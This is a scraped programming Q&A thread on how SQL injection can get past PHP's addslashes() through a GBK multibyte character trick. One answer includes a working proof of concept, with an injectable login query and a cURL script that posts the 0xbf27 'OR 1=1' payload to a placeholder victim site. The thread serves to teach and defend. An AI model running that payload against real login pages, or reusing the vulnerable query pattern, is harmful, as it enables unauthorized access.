Examples of SQL Injections through addslashes()?
PhpSqlSql InjectionSecurityPhp Problem Overview
In PHP, I know that mysql_real_escape
is much safer than using addslashes
.
However, I could not find an example of a situation where addslashes
would let an SQL Injection happen.
Can anyone give some examples?
Php Solutions
Solution 1 - Php
Well, here's the article you want.
Basically, the way the attack works is by getting addslashes()
to put a backslash in the middle of a multibyte character such that the backslash loses its meaning by being part of a valid multibyte sequence.
The general caveat from the article:
> This type of attack is possible with any character encoding where
> there is a valid multi-byte character that ends in 0x5c
, because
> addslashes()
can be tricked into creating a valid multi-byte character
> instead of escaping the single quote that follows. UTF-8 does not fit
> this description.
Solution 2 - Php
Chris Shiflett clearly explains with the bellow example, That will of-course work if you try it when using GBK encoding in your database. Even I tried it, this proves, there are chances for sql injection, even though they are very less, but someone with good knowledge and capability can easily inject. Here is an Example...
<?php
$mysql = array();
$db = mysqli_init();
$db->real_connect('localhost', 'myuser', 'mypass', 'mydb');
/* SQL Injection Example */
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'guess';
$mysql['username'] = addslashes($_POST['username']);
$mysql['password'] = addslashes($_POST['password']);
$sql = "SELECT * FROM users
WHERE username = '{$mysql['username']}'
AND password = '{$mysql['password']}'";
$result = $db->query($sql);
if ($result->num_rows) {
/* Success */
} else {
/* Failure */
}
?>
Although the use of addslashes() or magic_quotes_gpc would normally be considered as somewhat secure, the use of GBK would render them near useless. The following PHP cURL script would be able to make use of the injection, I hope this will help you a bit more to understand:
<?php
$url = "http://www.victimsite.com/login.php";
$ref = "http://www.victimsite.com/index.php";
$session = "PHPSESSID=abcdef01234567890abcdef01";
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_REFERER, $ref );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE );
curl_setopt( $ch, CURLOPT_COOKIE, $session );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" . chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>
Solution 3 - Php
As an addition for the readers of the answers here: This MySQL bug has already been fixed:)
Also, it is always good practice to use prepared statements. It is the most exploit-free way you can fire queries (and, in several use cases the most performant). And it would have saved you from this flaw.
Solution 4 - Php
mysql_real_escape_string() versus Prepared Statements clearly explains mysql_real_escape_string() isn't 100% secure.
using mysql_set_charset('GBK') to replace mysql_query("SET CHARACTER SET 'GBK'"), the mysql_real_escape_string() can be 100% secure.